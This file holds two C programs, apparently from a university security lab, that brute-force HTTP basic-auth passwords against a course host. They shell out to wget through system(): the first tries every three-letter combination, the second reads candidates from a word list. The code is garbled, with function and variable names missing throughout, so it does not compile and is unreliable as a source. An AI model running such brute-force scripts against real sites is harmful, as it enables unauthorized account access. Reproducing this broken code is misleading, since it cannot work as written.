











#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }


#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9
int ()
{
  FILE *fptr=NULL;
  int starttime,endtime,totaltime;
  int i,final,count=0;
  char ch[20],passwd[20],c,s1[100],s2[100];

 fptr=fopen("words","r");
  
starttime=time();
	if(fptr==NULL)
	{
		printf("file empty");
		exit(0);
	}
   strcpy(s1, "wget --http-user= --http-passwd=");
   strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");

  while(!feof(fptr))
    {    
      i=0;
     c=getc(fptr);
      while(c!='\n')
        {
           ch[i]=c;
           i++;
	 c=getc(fptr);
        }
      ch[i]='\0';
      strcpy(passwd,ch);
     if(strlen(passwd)==3)
      {
      strcat(s1, passwd);
      strcat(s1,s2);           
      printf(" The combination sent is %s \n", s1); 

      final = system(s1);
	count++;

      if (final == 0)
          {
	      
		endtime=time();
		totaltime=(endtime-starttime);
		
            printf("\nsuccess  %s\n",passwd);
            printf("count %d",count);
	    printf("totaltime %1f\n",(double)totaltime/ant);

            exit(1);
          }


	  strcpy(s1, "");
	  strcpy(s1, "wget --http-user= --http-passwd=");
		
  
     }
  
  }

}
